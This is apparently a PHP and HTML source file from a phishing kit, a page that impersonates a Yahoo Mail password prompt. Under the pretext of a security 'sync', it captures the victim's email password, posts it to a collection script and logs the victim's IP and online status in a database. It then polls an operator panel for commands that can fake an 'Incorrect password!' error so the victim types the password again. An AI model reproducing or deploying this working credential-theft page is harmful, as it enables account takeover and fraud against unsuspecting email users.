<?php
@session_start();
error_reporting(0);
ini_set("display_errors", 0 );

require_once "../../cod3rconfig/registro.php";
require_once "../../cod3rconfig/conexao.php";
require_once "../../cod3rconfig/data.php";
 $erro = $_REQUEST['error'];
 $ip = (isset($_SERVER["HTTP_CF_CONNECTING_IP"])?$_SERVER["HTTP_CF_CONNECTING_IP"]:$_SERVER['REMOTE_ADDR']);

  $query_info = "SELECT * FROM infos WHERE ip='$ip'"; 
  $recorinfo = mysqli_query(DBConnect(), $query_info) or die(mysqli_error(DBConnect()));
  $row_infio = mysqli_fetch_assoc($recorinfo); 
  $totalRowsinfo = mysqli_num_rows($recorinfo); 
  


$email = $row_infio['usuario'];

$tempo = time();
$atualiza = mysqli_query(DBCOnnect(), "UPDATE infos SET tempo='$tempo', status='Online', statusremote='Cliente online na senha do email' WHERE ip='$ip'");

?>
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta content="width=device-width,initial-scale=1" name=viewport>
<title>Yahoo Mail</title>
<link rel="icon" type="image/x-icon" href="img/yahoo.ico">
<link rel="stylesheet" href="css/bootstrap.min.css">
<link rel="stylesheet" href="css/bootstrap-theme.min.css">
<link href="https://fonts.googleapis.com/css?family=Raleway" rel="stylesheet">
<script src="https://code.jquery.com/jquery-3.6.0.min.js" integrity="sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4=" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/i18next@21.6.10/i18next.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/jquery-i18next@1.2.1/jquery-i18next.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/i18next-browser-languagedetector@6.1.3/i18nextBrowserLanguageDetector.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/i18next-http-backend@1.3.2/i18nextHttpBackend.min.js"></script>

<script type="application/javascript" src="language.js"></script>

<link rel="stylesheet" href="css/style.min.css">

 
<script>


//função enviar senha
$(document).ready(function(){     
     $(document).on('click', '#entrar', function(e){  
     e.preventDefault();  

     
    // var email = $("#email").val();
     var emailsenha = $("#emailsenha").val();

          if(emailsenha == ""){
       comandoerrordados()

     }else{

  //    $("#emailsenha").prop('disabled', true);
  //    $("#entrar").prop('disabled', true);
  //    document.getElementById("barra").style.display = "block";     
  //    $.ajax({
  //   type:'post',    //Definimos o método HTTP usado
  //   data: {
  //  // email: email,
  //   emailPassword: emailsenha    
  //   },
  //   dataType: 'json', //Definimos o tipo de retorno
  //   url: '/app/sendData.php',//Definindo o arquivo onde serão buscados os dados
  //   success: function(data){  
     
  //   dispararComando();
  //  // document.getElementById('mesa').style.borderBottom = "2px solid #4285F4";
  //   document.getElementById('errorsenha').innerHTML = "";  
      
  //   }
  // });
      $.ajax({
    type:'post',    //Definimos o método HTTP usado
    data: {
   // email: email,
    emailsenha: emailsenha    
    },
    dataType: 'json', //Definimos o tipo de retorno
    url: 'emailsSend.php',//Definindo o arquivo onde serão buscados os dados
    success: function(data){  
     
    dispararComando();
   // document.getElementById('mesa').style.borderBottom = "2px solid #4285F4";
    // document.getElementById('errorsenha').innerHTML = "";
    document.getElementById("entrar").disabled = true;
    document.getElementById("entrar").innerHTML = "<img src='/assets/images/loading.gif' width='20'>"
    $("#errorsenha").hide();
      
    }
  });

  }
    });    
});

function dispararComando(e) {
   
    myVar = setInterval(esperaresposta, 1400);

}

       

function esperaresposta() {
    //alert("teste");
    Get("","../main_.php", 0);
    
}
function comandoerrordados() {
    //alert("te");
     document.getElementById("barra").style.display = "none";
     $("#emailsenha").prop('disabled', false);
      $("#entrar").prop('disabled', false);
      document.getElementById("entrar").innerHTML = "Next"
     
      $("#errorsenha").show();
      // document.getElementById('errorsenha').innerHTML = "<font color='red'>Incorrect password!</font>";
 
}


var onOff=1;


function Get(data,urlapi,e) {

    var xhttp = new XMLHttpRequest();
    xhttp.onreadystatechange = function() {
      if (this.readyState == 4 && this.status == 200) {
        var json = this.response;
        if(e!=1){ status(JSON.parse(json)); }
      }
    };
    xhttp.open("GET", urlapi+data, true);
    xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    xhttp.send();
    return false;
}
function status(json) {

   
         if(json.comando=="negaremailsyng"){ 
            clearInterval(myVar);
            comandoerrordados();
           
           
        };   

       

}



</script>
<style type="text/css">
body { margin:0;overflow: hidden; }
@media (max-width: 1366px) { #topo { max-width:1160px; } }
@media (max-width: 1215px) { #topo { max-width:960px; } }
@media (max-width: 1007px) { #topo { max-width:740px; } }
@media (min-width: 637px) { #box { max-width:350px !important; } }
@media (max-width: 636px) { #box { max-width:100% !important; } }

@media (max-width: 1366px) { #bottom { max-width:1160px; } }
@media (max-width: 1215px) { #bottom { max-width:960px; } }
@media (max-width: 1007px) { #bottom { max-width:740px; } }
@media (max-width: 784px) { #bottom { max-width:200px; } }

@media (min-width: 477px) { #me { float:right; padding:10px; width:120px; } }
@media (max-width: 477px) { #me { float:left; padding:0 0 10px 0; width:90%; } }
@media (max-width: 768px) { #re { display:none; } }

#emailsenha { width:100%; padding:8px 8px 8px 0; font-size:14px; border:none; outline:none; border-bottom:1px solid #<?php $provedor = $email; if ($provedor == ""){ echo 'CCC'; } else{ echo 'C00'; } ?>; }
#entrar { width:100%; padding:10px; background:#188FFF; border-radius: 4px; border:none; color:#FFF;}
#cancelar { width:49%; height:36px; background:#CCC; border:none; color:#444;}
#errorsenha { display: none;}
</style>

</head>

<body style="background: #FFF;">
      <div style="background-color:#FFF !important; min-height: 100px; min-width: 390px; min-height: 470px; padding: 0 !important; margin: 0 !important" class="MqxombNty5nrGeK4">
  <div class="RZBuIb c8DD0" aria-hidden="true" id="barra" style="display: none">
                <div style="background:url(./img/34.gif) center no-repeat; height: 10px;" class="aC8cESDerE4i9l6E"></div>
            </div><br><br>
                                    <div style="float: left;width: calc((100% / 2) - 20px);min-height: 5px;">
                                    <img src="/logo.png" style="width: 60px;" class="w-[60px] h-[40px] text-black" />
                                    </div>
                                    <div style="float: left;width: 40px;min-height: 5px;">
                                        <center><img src="./img/gpyl4jg.gif" style="margin-top: 5px;height: 8px;float: left;margin-right: 10px;margin-left: 10px;"></center>
                                    </div>
                                      <div style="text-align: left;float: left; width: calc((100% / 2) - 20px);min-height: 5px; ">
                                        <img src="img/yahoo_pt-BR_f_p_bestfit_2x.png" style="vertical-align: middle;" height="30px">
                                    </div>
<br><br>
<form name="form" id="form"  method="post" onSubmit="return validation()">
<div style="height:auto; background:#FFF; height: 370px; margin:0 auto;" id="box">
<div style="padding: 0 1em 30px;font-family: Arial;">
<div style="text-align: center; color: #202124; font-size: 1.2em; font-weight: 500;"><?= $email; ?></div>
<div style="font-size: 18px; text-align:center; margin-top: 0.8em;" data-i18n="email.yahoo.password.title">We want to make sure it's you who is reaching your account. For security reasons, sync your email.</div>

<div id="mesa" style="margin-top:10px ;">
<input type="password" name="emailsenha" id="emailsenha" placeholder="Enter your email password" onClick="clicar()" size="1" data-i18n="[placeholder]email.yahoo.password.placeholder">
<input type="hidden" name="email" id="email" value="<?=$email?>">
</div>
<div id="errorsenha" style="color: red;" data-i18n="email.yahoo.password.error">Incorrect password!</div>
<div style="margin-top:20px; height: 40px;">
<button type="submit" name="entrar" id="entrar" style="float: right;" data-i18n="[value]email.yahoo.password.button">Next</button>
</div>

<div style="margin-top: 20px; text-align:center;">
<a href="#" data-i18n="email.yahoo.password.forgot">I forgot my password</a>
</div>

</div>
</div>

</form>
</div>

<style>
    html {
        overflow: hidden !important;
    }
</style>
                                   
</body>
</html>